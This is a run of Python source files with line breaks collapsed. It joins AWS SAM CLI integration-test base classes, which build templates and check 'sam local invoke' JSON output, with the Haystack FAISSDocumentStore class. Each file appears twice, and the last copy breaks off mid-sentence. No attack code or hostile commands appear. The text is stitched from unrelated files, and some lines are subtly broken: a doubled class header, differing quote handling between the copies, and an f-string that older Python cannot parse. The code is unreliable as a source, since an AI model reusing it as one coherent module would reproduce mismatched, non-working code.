from tests.integration.base import Base, LOG, run_command import ipaddress import json import os from pathlib import Path from typing import Dict, Any, Optional import pytest class BuildInvokeBase: class BuildInvokeBase(Base.IntegBase): """ BuildInvokeBase will test the following sam commands: 1. sam init 2. sam build --use-container (if self.use_container is False, --use-container will be omitted) 3. (if there are event jsons), for each event json, check `sam local invoke` response is a valid json """ function_id_by_event: Optional[Dict[str, str]] = None invoke_output: Dict[str, Any] use_container: bool = True def _test_build(self): cmdlist = ["sam", "build", "--debug"] if self.use_container: cmdlist.append("--use-container") LOG.info(cmdlist) result = run_command(cmdlist, self.cwd) self.assertIn("Build Succeeded", str(result.stdout)) def _test_local_invoke(self): events_path = Path(self.cwd, "events") if not events_path.exists(): LOG.info(f"Skip event testing, {events_path} does not exist") return event_files = os.listdir(events_path) for event_file in event_files: if self.function_id_by_event: cmdlist = [ "sam", "local", "invoke", self.function_id_by_event[event_file], "-e", Path("events", event_file), ] else: cmdlist = [ "sam", "local", "invoke", "-e", Path("events", event_file), ] LOG.info(cmdlist) result = run_command(cmdlist, self.cwd) try: self.invoke_output = json.loads(result.stdout) except json.decoder.JSONDecodeError: self.fail(f"Response is not a valid JSON: {result.stdout}") @pytest.mark.flaky(reruns=3) def test_buld_and_invoke(self): self._test_init_template() self._test_build() self._test_local_invoke() class HelloWorldWithLocationBuildInvokeBase(BuildInvokeBase): """ Based on BuildInvokeBase, HelloWorldWithLocationBuildInvokeBase will the these extra checking: - check `sam local invoke` response's message is "hello world" and location is a valid IP address """ def _test_local_invoke(self): super()._test_local_invoke() self.assertEqual(self.invoke_output["statusCode"], 200) self.assertEqual( self.invoke_output["headers"], {"X-Custom-Header": "application/json", "Content-Type": "application/json",}, ) body = json.loads(self.invoke_output["body"]) self.assertEqual(body["message"], "hello world") # make sure it is an IP address try: ipaddress.ip_address(body["location"]) except ValueError: self.fail(f'Invalid location: {body['location']}') class EventBridgeHelloWorldBuildInvokeBase(BuildInvokeBase): """ Based on BuildInvokeBase, EventBridgeHelloWorldBuildInvokeBase will the these extra checking: - check `sam local invoke` response's detail, detail-type, resources, source, account and region """ def _test_local_invoke(self): super()._test_local_invoke() self.assertEqual( self.invoke_output["detail"], {"instance-id": "i-abcd1111", "state": "pending"}, ) self.assertEqual( self.invoke_output["detail-type"], "HelloWorldFunction updated event of EC2 Instance State-change Notification", ) self.assertEqual( self.invoke_output["resources"], ["arn:aws:ec2:us-east-1:123456789012:instance/i-abcd1111"], ) self.assertEqual(self.invoke_output["source"], "aws.ec2") self.assertEqual(self.invoke_output["account"], "123456789012") self.assertEqual(self.invoke_output["region"], "us-east-1") class HelloWorldExclamationBuildInvokeBase(BuildInvokeBase): """ Based on BuildInvokeBase, HelloWorldExclamationBuildInvokeBase will the these extra checking: - check `sam local invoke` response's message is "Hello World!" """ def _test_local_invoke(self): super()._test_local_invoke() self.assertEqual(self.invoke_output["statusCode"], 200) self.assertEqual(json.loads(self.invoke_output["body"]), {"message": "Hello World!"}) class SimpleHelloWorldBuildInvokeBase(BuildInvokeBase): """ Based on BuildInvokeBase, SimpleHelloWorldBuildInvokeBase will the these extra checking: - check `sam local invoke` response's message is "hello world!" """ def _test_local_invoke(self): super()._test_local_invoke() self.assertEqual(self.invoke_output["statusCode"], 200) self.assertEqual(json.loads(self.invoke_output["body"]), {"message": "hello world"}) class QuickStartWebBuildInvokeBase(BuildInvokeBase): """ Based on BuildInvokeBase, quick start web templates have multiple events that call different lambda functions. """ function_id_by_event = { "event-get-all-items.json": "getAllItemsFunction", "event-get-by-id.json": "getByIdFunction", "event-post-item.json": "putItemFunction", } class DotNetCoreExtraRerunBuildInvokeBase(BuildInvokeBase): """ dotnet templates' building tends to fail arbitrarily, adding extra reruns here """ @pytest.mark.flaky(reruns=5) def test_buld_and_invoke(self): super().test_buld_and_invoke()
from tests.integration.base import Base, LOG, run_command import ipaddress import json import os from pathlib import Path from typing import Dict, Any, Optional import pytest class BuildInvokeBase: class BuildInvokeBase(Base.IntegBase): """ BuildInvokeBase will test the following sam commands: 1. sam init 2. sam build --use-container (if self.use_container is False, --use-container will be omitted) 3. (if there are event jsons), for each event json, check `sam local invoke` response is a valid json """ function_id_by_event: Optional[Dict[str, str]] = None invoke_output: Dict[str, Any] use_container: bool = True def _test_build(self): cmdlist = ["sam", "build", "--debug"] if self.use_container: cmdlist.append("--use-container") LOG.info(cmdlist) result = run_command(cmdlist, self.cwd) self.assertIn("Build Succeeded", str(result.stdout)) def _test_local_invoke(self): events_path = Path(self.cwd, "events") if not events_path.exists(): LOG.info(f"Skip event testing, {events_path} does not exist") return event_files = os.listdir(events_path) for event_file in event_files: if self.function_id_by_event: cmdlist = [ "sam", "local", "invoke", self.function_id_by_event[event_file], "-e", Path("events", event_file), ] else: cmdlist = [ "sam", "local", "invoke", "-e", Path("events", event_file), ] LOG.info(cmdlist) result = run_command(cmdlist, self.cwd) try: self.invoke_output = json.loads(result.stdout) except json.decoder.JSONDecodeError: self.fail(f"Response is not a valid JSON: {result.stdout}") @pytest.mark.flaky(reruns=3) def test_buld_and_invoke(self): self._test_init_template() self._test_build() self._test_local_invoke() class HelloWorldWithLocationBuildInvokeBase(BuildInvokeBase): """ Based on BuildInvokeBase, HelloWorldWithLocationBuildInvokeBase will the these extra checking: - check `sam local invoke` response's message is "hello world" and location is a valid IP address """ def _test_local_invoke(self): super()._test_local_invoke() self.assertEqual(self.invoke_output["statusCode"], 200) self.assertEqual( self.invoke_output["headers"], {"X-Custom-Header": "application/json", "Content-Type": "application/json",}, ) body = json.loads(self.invoke_output["body"]) self.assertEqual(body["message"], "hello world") # make sure it is an IP address try: ipaddress.ip_address(body["location"]) except ValueError: self.fail(f'Invalid location: {body["location"]}') class EventBridgeHelloWorldBuildInvokeBase(BuildInvokeBase): """ Based on BuildInvokeBase, EventBridgeHelloWorldBuildInvokeBase will the these extra checking: - check `sam local invoke` response's detail, detail-type, resources, source, account and region """ def _test_local_invoke(self): super()._test_local_invoke() self.assertEqual( self.invoke_output["detail"], {"instance-id": "i-abcd1111", "state": "pending"}, ) self.assertEqual( self.invoke_output["detail-type"], "HelloWorldFunction updated event of EC2 Instance State-change Notification", ) self.assertEqual( self.invoke_output["resources"], ["arn:aws:ec2:us-east-1:123456789012:instance/i-abcd1111"], ) self.assertEqual(self.invoke_output["source"], "aws.ec2") self.assertEqual(self.invoke_output["account"], "123456789012") self.assertEqual(self.invoke_output["region"], "us-east-1") class HelloWorldExclamationBuildInvokeBase(BuildInvokeBase): """ Based on BuildInvokeBase, HelloWorldExclamationBuildInvokeBase will the these extra checking: - check `sam local invoke` response's message is "Hello World!" """ def _test_local_invoke(self): super()._test_local_invoke() self.assertEqual(self.invoke_output["statusCode"], 200) self.assertEqual(json.loads(self.invoke_output["body"]), {"message": "Hello World!"}) class SimpleHelloWorldBuildInvokeBase(BuildInvokeBase): """ Based on BuildInvokeBase, SimpleHelloWorldBuildInvokeBase will the these extra checking: - check `sam local invoke` response's message is "hello world!" """ def _test_local_invoke(self): super()._test_local_invoke() self.assertEqual(self.invoke_output["statusCode"], 200) self.assertEqual(json.loads(self.invoke_output["body"]), {"message": "hello world"}) class QuickStartWebBuildInvokeBase(BuildInvokeBase): """ Based on BuildInvokeBase, quick start web templates have multiple events that call different lambda functions. """ function_id_by_event = { "event-get-all-items.json": "getAllItemsFunction", "event-get-by-id.json": "getByIdFunction", "event-post-item.json": "putItemFunction", } class DotNetCoreExtraRerunBuildInvokeBase(BuildInvokeBase): """ dotnet templates' building tends to fail arbitrarily, adding extra reruns here """ @pytest.mark.flaky(reruns=5) def test_buld_and_invoke(self): super().test_buld_and_invoke()
from typing import TYPE_CHECKING if TYPE_CHECKING: from haystack.nodes.retriever import BaseRetriever import json import logging from pathlib import Path from typing import Union, List, Optional, Dict, Generator from tqdm.auto import tqdm try: import faiss except ImportError: faiss = None import numpy as np from haystack.schema import Document from haystack.document_stores.sql import SQLDocumentStore from haystack.document_stores.base import get_batches_from_generator from inspect import Signature, signature logger = logging.getLogger(__name__) class FAISSDocumentStore(SQLDocumentStore): """ Document store for very large scale embedding based dense retrievers like the DPR. It implements the FAISS library(https://github.com/facebookresearch/faiss) to perform similarity search on vectors. The document text and meta-data (for filtering) are stored using the SQLDocumentStore, while the vector embeddings are indexed in a FAISS Index. """ def __init__( self, sql_url: str = "sqlite:///faiss_document_store.db", vector_dim: int = 768, faiss_index_factory_str: str = "Flat", faiss_index: Optional["faiss.swigfaiss.Index"] = None, return_embedding: bool = False, index: str = "document", similarity: str = "dot_product", embedding_field: str = "embedding", progress_bar: bool = True, duplicate_documents: str = 'overwrite', faiss_index_path: Union[str, Path] = None, faiss_config_path: Union[str, Path] = None, **kwargs, ): """ :param sql_url: SQL connection URL for database. It defaults to local file based SQLite DB. For large scale deployment, Postgres is recommended. :param vector_dim: the embedding vector size. :param faiss_index_factory_str: Create a new FAISS index of the specified type. The type is determined from the given string following the conventions of the original FAISS index factory. Recommended options: - "Flat" (default): Best accuracy (= exact). Becomes slow and RAM intense for > 1 Mio docs. - "HNSW": Graph-based heuristic. If not further specified, we use the following config: HNSW64, efConstruction=80 and efSearch=20 - "IVFx,Flat": Inverted Index. Replace x with the number of centroids aka nlist. Rule of thumb: nlist = 10 * sqrt (num_docs) is a good starting point. For more details see: - Overview of indices https://github.com/facebookresearch/faiss/wiki/Faiss-indexes - Guideline for choosing an index https://github.com/facebookresearch/faiss/wiki/Guidelines-to-choose-an-index - FAISS Index factory https://github.com/facebookresearch/faiss/wiki/The-index-factory Benchmarks: XXX :param faiss_index: Pass an existing FAISS Index, i.e. an empty one that you configured manually or one with docs that you used in Haystack before and want to load again. :param return_embedding: To return document embedding :param index: Name of index in document store to use. :param similarity: The similarity function used to compare document vectors. 'dot_product' is the default since it is more performant with DPR embeddings. 'cosine' is recommended if you are using a Sentence-Transformer model. In both cases, the returned values in Document.score are normalized to be in range [0,1]: For `dot_product`: expit(np.asarray(raw_score / 100)) FOr `cosine`: (raw_score + 1) / 2 :param embedding_field: Name of field containing an embedding vector. :param progress_bar: Whether to show a tqdm progress bar or not. Can be helpful to disable in production deployments to keep the logs clean. :param duplicate_documents: Handle duplicates document based on parameter options. Parameter options : ( 'skip','overwrite','fail') skip: Ignore the duplicates documents overwrite: Update any existing documents with the same ID when adding documents. fail: an error is raised if the document ID of the document being added already exists. :param faiss_index_path: Stored FAISS index file. Can be created via calling `save()`. If specified no other params besides faiss_config_path must be specified. :param faiss_config_path: Stored FAISS initial configuration parameters. Can be created via calling `save()` """ # special case if we want to load an existing index from disk # load init params from disk and run init again if faiss_index_path is not None: sig = signature(self.__class__.__init__) self._validate_params_load_from_disk(sig, locals(), kwargs) init_params = self._load_init_params_from_config(faiss_index_path, faiss_config_path) self.__class__.__init__(self, **init_params) return # save init parameters to enable export of component config as YAML self.set_config( sql_url=sql_url, vector_dim=vector_dim, faiss_index_factory_str=faiss_index_factory_str, return_embedding=return_embedding, duplicate_documents=duplicate_documents, index=index, similarity=similarity, embedding_field=embedding_field, progress_bar=progress_bar ) if similarity in ("dot_product", "cosine"): self.similarity = similarity self.metric_type = faiss.METRIC_INNER_PRODUCT elif similarity == "l2": self.similarity = similarity self.metric_type = faiss.METRIC_L2 else: raise ValueError("The FAISS document store can currently only support dot_product, cosine and l2 similarity. " "Please set similarity to one of the above.") self.vector_dim = vector_dim self.faiss_index_factory_str = faiss_index_factory_str self.faiss_indexes: Dict[str, faiss.swigfaiss.Index] = {} if faiss_index: self.faiss_indexes[index] = faiss_index else: self.faiss_indexes[index] = self._create_new_index( vector_dim=self.vector_dim, index_factory=faiss_index_factory_str, metric_type=self.metric_type, **kwargs ) self.return_embedding = return_embedding self.embedding_field = embedding_field self.progress_bar = progress_bar super().__init__( url=sql_url, index=index, duplicate_documents=duplicate_documents ) self._validate_index_sync() def _validate_params_load_from_disk(self, sig: Signature, locals: dict, kwargs: dict): allowed_params = ["faiss_index_path", "faiss_config_path", "self", "kwargs"] invalid_param_set = False for param in sig.parameters.values(): if param.name not in allowed_params and param.default != locals[param.name]: invalid_param_set = True break if invalid_param_set or len(kwargs) > 0: raise ValueError("if faiss_index_path is passed no other params besides faiss_config_path are allowed.") def _validate_index_sync(self): # This check ensures the correct document database was loaded. # If it fails, make sure you provided the path to the database # used when creating the original FAISS index if not self.get_document_count() == self.get_embedding_count(): raise ValueError("The number of documents present in the SQL database does not " "match the number of embeddings in FAISS. Make sure your FAISS " "configuration file correctly points to the same database that " "was used when creating the original index.") def _create_new_index(self, vector_dim: int, metric_type, index_factory: str = "Flat", **kwargs): if index_factory == "HNSW": # faiss index factory doesn't give the same results for HNSW IP, therefore direct init. # defaults here are similar to DPR codebase (good accuracy, but very high RAM consumption) n_links = kwargs.get("n_links", 64) index = faiss.IndexHNSWFlat(vector_dim, n_links, metric_type) index.hnsw.efSearch = kwargs.get("efSearch", 20)#20 index.hnsw.efConstruction = kwargs.get("efConstruction", 80)#80 if "ivf" in index_factory.lower(): # enable reconstruction of vectors for inverted index self.faiss_indexes[index].set_direct_map_type(faiss.DirectMap.Hashtable) logger.info(f"HNSW params: n_links: {n_links}, efSearch: {index.hnsw.efSearch}, efConstruction: {index.hnsw.efConstruction}") else: index = faiss.index_factory(vector_dim, index_factory, metric_type) return index def write_documents(self, documents: Union[List[dict], List[Document]], index: Optional[str] = None, batch_size: int = 10_000, duplicate_documents: Optional[str] = None, headers: Optional[Dict[str, str]] = None) -> None: """ Add new documents to the DocumentStore. :param documents: List of `Dicts` or List of `Documents`. If they already contain the embeddings, we'll index them right away in FAISS. If not, you can later call update_embeddings() to create & index them. :param index: (SQL) index name for storing the docs and metadata :param batch_size: When working with large number of documents, batching can help reduce memory footprint. :param duplicate_documents: Handle duplicates document based on parameter options. Parameter options : ( 'skip','overwrite','fail') skip: Ignore the duplicates documents overwrite: Update any existing documents with the same ID when adding documents. fail: an error is raised if the document ID of the document being added already exists. :raises DuplicateDocumentError: Exception trigger on duplicate document :return: None """ if headers: raise NotImplementedError("FAISSDocumentStore does not support headers.") index = index or self.index duplicate_documents = duplicate_documents or self.duplicate_documents assert duplicate_documents in self.duplicate_documents_options, \ f"duplicate_documents parameter must be {", ".join(self.duplicate_documents_options)}" if not self.faiss_indexes.get(index): self.faiss_indexes[index] = self._create_new_index( vector_dim=self.vector_dim, index_factory=self.faiss_index_factory_str, metric_type=faiss.METRIC_INNER_PRODUCT, ) field_map = self._create_document_field_map() document_objects = [Document.from_dict(d, field_map=field_map) if isinstance(d, dict) else d for d in documents] document_objects = self._handle_duplicate_documents(documents=document_objects, index=index, duplicate_documents=duplicate_documents) if len(document_objects) > 0: add_vectors = False if document_objects[0].embedding is None else True if self.duplicate_documents == "overwrite" and add_vectors: logger.warning("You have to provide `duplicate_documents = 'overwrite'` arg and " "`FAISSDocumentStore` does not support update in existing `faiss_index`.\n" "Please call `update_embeddings` method to repopulate `faiss_index`") vector_id = self.faiss_indexes[index].ntotal with tqdm(total = len(document_objects), disable =not self.progress_bar, position=0, desc="Writing Documents") as progress_bar: for i in range(0, len(document_objects), batch_size): if add_vectors: embeddings = [doc.embedding for doc in document_objects[i: i + batch_size]] embeddings_to_index = np.array(embeddings, dtype="float32") if self.similarity=="cosine": self.normalize_embedding(embeddings_to_index) self.faiss_indexes[index].add(embeddings_to_index) docs_to_write_in_sql = [] for doc in document_objects[i: i + batch_size]: meta = doc.meta if add_vectors: meta["vector_id"] = vector_id vector_id += 1 docs_to_write_in_sql.append(doc) super(FAISSDocumentStore, self).write_documents(docs_to_write_in_sql, index=index, duplicate_documents=duplicate_documents) progress_bar.update(batch_size) progress_bar.close() def _create_document_field_map(self) -> Dict: return { self.index: self.embedding_field, } def update_embeddings( self, retriever: 'BaseRetriever', index: Optional[str] = None, update_existing_embeddings: bool = True, filters: Optional[Dict[str, List[str]]] = None, batch_size: int = 10_000 ): """ Updates the embeddings in the the document store using the encoding model specified in the retriever. This can be useful if want to add or change the embeddings for your documents (e.g. after changing the retriever config). :param retriever: Retriever to use to get embeddings for text :param index: Index name for which embeddings are to be updated. If set to None, the default self.index is used. :param update_existing_embeddings: Whether to update existing embeddings of the documents. If set to False, only documents without embeddings are processed. This mode can be used for incremental updating of embeddings, wherein, only newly indexed documents get processed. :param filters: Optional filters to narrow down the documents for which embeddings are to be updated. Example: {"name": ["some", "more"], "category": ["only_one"]} :param batch_size: When working with large number of documents, batching can help reduce memory footprint. :return: None """ index = index or self.index if update_existing_embeddings is True: if filters is None: self.faiss_indexes[index].reset() self.reset_vector_ids(index) else: raise Exception("update_existing_embeddings=True is not supported with filters.") if not self.faiss_indexes.get(index): raise ValueError("Couldn't find a FAISS index. Try to init the FAISSDocumentStore() again ...") document_count = self.get_document_count(index=index) if document_count == 0: logger.warning("Calling DocumentStore.update_embeddings() on an empty index") return logger.info(f"Updating embeddings for {document_count} docs...") vector_id = self.faiss_indexes[index].ntotal result = self._query( index=index, vector_ids=None, batch_size=batch_size, filters=filters, only_documents_without_embedding=not update_existing_embeddings ) batched_documents = get_batches_from_generator(result, batch_size) with tqdm(total=document_count, disable=not self.progress_bar, position=0, unit=" docs", desc="Updating Embedding") as progress_bar: for document_batch in batched_documents: embeddings = retriever.embed_documents(document_batch) # type: ignore assert len(document_batch) == len(embeddings) embeddings_to_index = np.array(embeddings, dtype="float32") if self.similarity=="cosine": self.normalize_embedding(embeddings_to_index) self.faiss_indexes[index].add(embeddings_to_index) vector_id_map = {} for doc in document_batch: vector_id_map[doc.id] = vector_id vector_id += 1 self.update_vector_ids(vector_id_map, index=index) progress_bar.set_description_str("Documents Processed") progress_bar.update(batch_size) def get_all_documents( self, index: Optional[str] = None, filters: Optional[Dict[str, List[str]]] = None, return_embedding: Optional[bool] = None, batch_size: int = 10_000, headers: Optional[Dict[str, str]] = None ) -> List[Document]: if headers: raise NotImplementedError("FAISSDocumentStore does not support headers.") result = self.get_all_documents_generator( index=index, filters=filters, return_embedding=return_embedding, batch_size=batch_size ) documents = list(result) return documents def get_all_documents_generator( self, index: Optional[str] = None, filters: Optional[Dict[str, List[str]]] = None, return_embedding: Optional[bool] = None, batch_size: int = 10_000, headers: Optional[Dict[str, str]] = None ) -> Generator[Document, None, None]: """ Get all documents from the document store. Under-the-hood, documents are fetched in batches from the document store and yielded as individual documents. This method can be used to iteratively process a large number of documents without having to load all documents in memory. :param index: Name of the index to get the documents from. If None, the DocumentStore's default index (self.index) will be used. :param filters: Optional filters to narrow down the documents to return. Example: {"name": ["some", "more"], "category": ["only_one"]} :param return_embedding: Whether to return the document embeddings. :param batch_size: When working with large number of documents, batching can help reduce memory footprint. """ if headers: raise NotImplementedError("FAISSDocumentStore does not support headers.") index = index or self.index documents = super(FAISSDocumentStore, self).get_all_documents_generator( index=index, filters=filters, batch_size=batch_size, return_embedding=False ) if return_embedding is None: return_embedding = self.return_embedding for doc in documents: if return_embedding: if doc.meta and doc.meta.get("vector_id") is not None: doc.embedding = self.faiss_indexes[index].reconstruct(int(doc.meta["vector_id"])) yield doc def get_documents_by_id( self, ids: List[str], index: Optional[str] = None, batch_size: int = 10_000, headers: Optional[Dict[str, str]] = None ) -> List[Document]: if headers: raise NotImplementedError("FAISSDocumentStore does not support headers.") index = index or self.index documents = super(FAISSDocumentStore, self).get_documents_by_id(ids=ids, index=index, batch_size=batch_size) if self.return_embedding: for doc in documents: if doc.meta and doc.meta.get("vector_id") is not None: doc.embedding = self.faiss_indexes[index].reconstruct(int(doc.meta["vector_id"])) return documents def get_embedding_count(self, index: Optional[str] = None, filters: Optional[Dict[str, List[str]]] = None) -> int: """ Return the count of embeddings in the document store. """ if filters: raise Exception("filters are not supported for get_embedding_count in FAISSDocumentStore") index = index or self.index return self.faiss_indexes[index].ntotal def train_index( self, documents: Optional[Union[List[dict], List[Document]]], embeddings: Optional[np.ndarray] = None, index: Optional[str] = None, ): """ Some FAISS indices (e.g. IVF) require initial "training" on a sample of vectors before you can add your final vectors. The train vectors should come from the same distribution as your final ones. You can pass either documents (incl. embeddings) or just the plain embeddings that the index shall be trained on. :param documents: Documents (incl. the embeddings) :param embeddings: Plain embeddings :param index: Name of the index to train. If None, the DocumentStore's default index (self.index) will be used. :return: None """ index = index or self.index if embeddings and documents: raise ValueError("Either pass `documents` or `embeddings`. You passed both.") if documents: document_objects = [Document.from_dict(d) if isinstance(d, dict) else d for d in documents] doc_embeddings = [doc.embedding for doc in document_objects] embeddings_for_train = np.array(doc_embeddings, dtype="float32") self.faiss_indexes[index].train(embeddings_for_train) if embeddings: self.faiss_indexes[index].train(embeddings) def delete_all_documents(self, index: Optional[str] = None, filters: Optional[Dict[str, List[str]]] = None, headers: Optional[Dict[str, str]] = None): """ Delete all documents from the document store. """ if headers: raise NotImplementedError("FAISSDocumentStore does not support headers.") logger.warning( """DEPRECATION WARNINGS: 1. delete_all_documents() method is deprecated, please use delete_documents method For more details, please refer to the issue: https://github.com/deepset-ai/haystack/issues/1045 """ ) self.delete_documents(index, None, filters) def delete_documents(self, index: Optional[str] = None, ids: Optional[List[str]] = None, filters: Optional[Dict[str, List[str]]] = None, headers: Optional[Dict[str, str]] = None): """ Delete documents from the document store. All documents are deleted if no filters are passed. :param index: Index name to delete the documents from. If None, the DocumentStore's default index (self.index) will be used. :param ids: Optional list of IDs to narrow down the documents to be deleted. :param filters: Optional filters to narrow down the documents to be deleted. Example filters: {"name": ["some", "more"], "category": ["only_one"]}. If filters are provided along with a list of IDs, this method deletes the intersection of the two query results (documents that match the filters and have their ID in the list). :return: None """ if headers: raise NotImplementedError("FAISSDocumentStore does not support headers.") index = index or self.index if index in self.faiss_indexes.keys(): if not filters and not ids: self.faiss_indexes[index].reset() else: affected_docs = self.get_all_documents(filters=filters) if ids: affected_docs = [doc for doc in affected_docs if doc.id in ids] doc_ids = [doc.meta.get("vector_id") for doc in affected_docs if doc.meta and doc.meta.get("vector_id") is not None] self.faiss_indexes[index].remove_ids(np.array(doc_ids, dtype="int64")) super().delete_documents(index=index, ids=ids, filters=filters) def query_by_embedding( self, query_emb: np.ndarray, filters: Optional[Dict[str, List[str]]] = None, top_k: int = 10, index: Optional[str] = None, return_embedding: Optional[bool] = None, headers: Optional[Dict[str, str]] = None ) -> List[Document]: """ Find the document that is most similar to the provided `query_emb` by using a vector similarity metric. :param query_emb: Embedding of the query (e.g. gathered from DPR) :param filters: Optional filters to narrow down the search space. Example: {"name": ["some", "more"], "category": ["only_one"]} :param top_k: How many documents to return :param index: Index name to query the document from. :param return_embedding: To return document embedding :return: """ if headers: raise NotImplementedError("FAISSDocumentStore does not support headers.") if filters: logger.warning("Query filters are not implemented for the FAISSDocumentStore.") index = index or self.index if not self.faiss_indexes.get(index): raise Exception(f"Index named '{index}' does not exists. Use 'update_embeddings()' to create an index.") if return_embedding is None: return_embedding = self.return_embedding query_emb = query_emb.reshape(1, -1).astype(np.float32) if self.similarity=="cosine": self.normalize_embedding(query_emb) score_matrix, vector_id_matrix = self.faiss_indexes[index].search(query_emb, top_k) vector_ids_for_query = [str(vector_id) for vector_id in vector_id_matrix[0] if vector_id != -1] documents = self.get_documents_by_vector_ids(vector_ids_for_query, index=index) #assign query score to each document scores_for_vector_ids: Dict[str, float] = {str(v_id): s for v_id, s in zip(vector_id_matrix[0], score_matrix[0])} for doc in documents: raw_score = scores_for_vector_ids[doc.meta["vector_id"]] doc.score = self.finalize_raw_score(raw_score,self.similarity) if return_embedding is True: doc.embedding = self.faiss_indexes[index].reconstruct(int(doc.meta["vector_id"])) return documents def save(self, index_path: Union[str, Path], config_path: Optional[Union[str, Path]] = None): """ Save FAISS Index to the specified file. :param index_path: Path to save the FAISS index to. :param config_path: Path to save the initial configuration parameters to. Defaults to the same as the file path, save the extension (.json). This file contains all the parameters passed to FAISSDocumentStore() at creation time (for example the SQL path, vector_dim, etc), and will be used by the `load` method to restore the index with the appropriate configuration. :return: None """ if not config_path: index_path = Path(index_path) config_path = index_path.with_suffix(".json") faiss.write_index(self.faiss_indexes[self.index], str(index_path)) with open(config_path, 'w') as ipp: json.dump(self.pipeline_config["params"], ipp) def _load_init_params_from_config(self, index_path: Union[str, Path], config_path: Optional[Union[str, Path]] = None): if not config_path: index_path = Path(index_path) config_path = index_path.with_suffix(".json") init_params: dict = {} try: with open(config_path, 'r') as ipp: init_params = json.load(ipp) except OSError as e: raise ValueError(f"Can't open FAISS configuration file `{config_path}`. " "Make sure the file exists and the you have the correct permissions " "to access it.") from e faiss_index = faiss.read_index(str(index_path)) # Add other init params to override the ones defined in the init params file init_params["faiss_index"] = faiss_index init_params["vector_dim"] = faiss_index.d return init_params @classmethod def load(cls, index_path: Union[str, Path], config_path: Optional[Union[str, Path]] = None): """ Load a saved FAISS index from a file and connect to the SQL database. Note: In order to have a correct mapping from FAISS to SQL, make sure to use the same SQL DB that you used when calling `save()`. :param index_path: Stored FAISS index file. Can be created via calling `save()` :param config_path: Stored FAISS initial configuration parameters. Can be created via calling `save()` """ return cls(faiss_index_path=index_path, faiss_config_path=config_path)
from typing import TYPE_CHECKING if TYPE_CHECKING: from haystack.nodes.retriever import BaseRetriever import json import logging from pathlib import Path from typing import Union, List, Optional, Dict, Generator from tqdm.auto import tqdm try: import faiss except ImportError: faiss = None import numpy as np from haystack.schema import Document from haystack.document_stores.sql import SQLDocumentStore from haystack.document_stores.base import get_batches_from_generator from inspect import Signature, signature logger = logging.getLogger(__name__) class FAISSDocumentStore(SQLDocumentStore): """ Document store for very large scale embedding based dense retrievers like the DPR. It implements the FAISS library(https://github.com/facebookresearch/faiss) to perform similarity search on vectors. The document text and meta-data (for filtering) are stored using the SQLDocumentStore, while the vector embeddings are indexed in a FAISS Index. """ def __init__( self, sql_url: str = "sqlite:///faiss_document_store.db", vector_dim: int = 768, faiss_index_factory_str: str = "Flat", faiss_index: Optional["faiss.swigfaiss.Index"] = None, return_embedding: bool = False, index: str = "document", similarity: str = "dot_product", embedding_field: str = "embedding", progress_bar: bool = True, duplicate_documents: str = 'overwrite', faiss_index_path: Union[str, Path] = None, faiss_config_path: Union[str, Path] = None, **kwargs, ): """ :param sql_url: SQL connection URL for database. It defaults to local file based SQLite DB. For large scale deployment, Postgres is recommended. :param vector_dim: the embedding vector size. :param faiss_index_factory_str: Create a new FAISS index of the specified type. The type is determined from the given string following the conventions of the original FAISS index factory. Recommended options: - "Flat" (default): Best accuracy (= exact). Becomes slow and RAM intense for > 1 Mio docs. - "HNSW": Graph-based heuristic. If not further specified, we use the following config: HNSW64, efConstruction=80 and efSearch=20 - "IVFx,Flat": Inverted Index. Replace x with the number of centroids aka nlist. Rule of thumb: nlist = 10 * sqrt (num_docs) is a good starting point. For more details see: - Overview of indices https://github.com/facebookresearch/faiss/wiki/Faiss-indexes - Guideline for choosing an index https://github.com/facebookresearch/faiss/wiki/Guidelines-to-choose-an-index - FAISS Index factory https://github.com/facebookresearch/faiss/wiki/The-index-factory Benchmarks: XXX :param faiss_index: Pass an existing FAISS Index, i.e. an empty one that you configured manually or one with docs that you used in Haystack before and want to load again. :param return_embedding: To return document embedding :param index: Name of index in document store to use. :param similarity: The similarity function used to compare document vectors. 'dot_product' is the default since it is more performant with DPR embeddings. 'cosine' is recommended if you are using a Sentence-Transformer model. In both cases, the returned values in Document.score are normalized to be in range [0,1]: For `dot_product`: expit(np.asarray(raw_score / 100)) FOr `cosine`: (raw_score + 1) / 2 :param embedding_field: Name of field containing an embedding vector. :param progress_bar: Whether to show a tqdm progress bar or not. Can be helpful to disable in production deployments to keep the logs clean. :param duplicate_documents: Handle duplicates document based on parameter options. Parameter options : ( 'skip','overwrite','fail') skip: Ignore the duplicates documents overwrite: Update any existing documents with the same ID when adding documents. fail: an error is raised if the document ID of the document being added already exists. :param faiss_index_path: Stored FAISS index file. Can be created via calling `save()`. If specified no other params besides faiss_config_path must be specified. :param faiss_config_path: Stored FAISS initial configuration parameters. Can be created via calling `save()` """ # special case if we want to load an existing index from disk # load init params from disk and run init again if faiss_index_path is not None: sig = signature(self.__class__.__init__) self._validate_params_load_from_disk(sig, locals(), kwargs) init_params = self._load_init_params_from_config(faiss_index_path, faiss_config_path) self.__class__.__init__(self, **init_params) return # save init parameters to enable export of component config as YAML self.set_config( sql_url=sql_url, vector_dim=vector_dim, faiss_index_factory_str=faiss_index_factory_str, return_embedding=return_embedding, duplicate_documents=duplicate_documents, index=index, similarity=similarity, embedding_field=embedding_field, progress_bar=progress_bar ) if similarity in ("dot_product", "cosine"): self.similarity = similarity self.metric_type = faiss.METRIC_INNER_PRODUCT elif similarity == "l2": self.similarity = similarity self.metric_type = faiss.METRIC_L2 else: raise ValueError("The FAISS document store can currently only support dot_product, cosine and l2 similarity. " "Please set similarity to one of the above.") self.vector_dim = vector_dim self.faiss_index_factory_str = faiss_index_factory_str self.faiss_indexes: Dict[str, faiss.swigfaiss.Index] = {} if faiss_index: self.faiss_indexes[index] = faiss_index else: self.faiss_indexes[index] = self._create_new_index( vector_dim=self.vector_dim, index_factory=faiss_index_factory_str, metric_type=self.metric_type, **kwargs ) self.return_embedding = return_embedding self.embedding_field = embedding_field self.progress_bar = progress_bar super().__init__( url=sql_url, index=index, duplicate_documents=duplicate_documents ) self._validate_index_sync() def _validate_params_load_from_disk(self, sig: Signature, locals: dict, kwargs: dict): allowed_params = ["faiss_index_path", "faiss_config_path", "self", "kwargs"] invalid_param_set = False for param in sig.parameters.values(): if param.name not in allowed_params and param.default != locals[param.name]: invalid_param_set = True break if invalid_param_set or len(kwargs) > 0: raise ValueError("if faiss_index_path is passed no other params besides faiss_config_path are allowed.") def _validate_index_sync(self): # This check ensures the correct document database was loaded. # If it fails, make sure you provided the path to the database # used when creating the original FAISS index if not self.get_document_count() == self.get_embedding_count(): raise ValueError("The number of documents present in the SQL database does not " "match the number of embeddings in 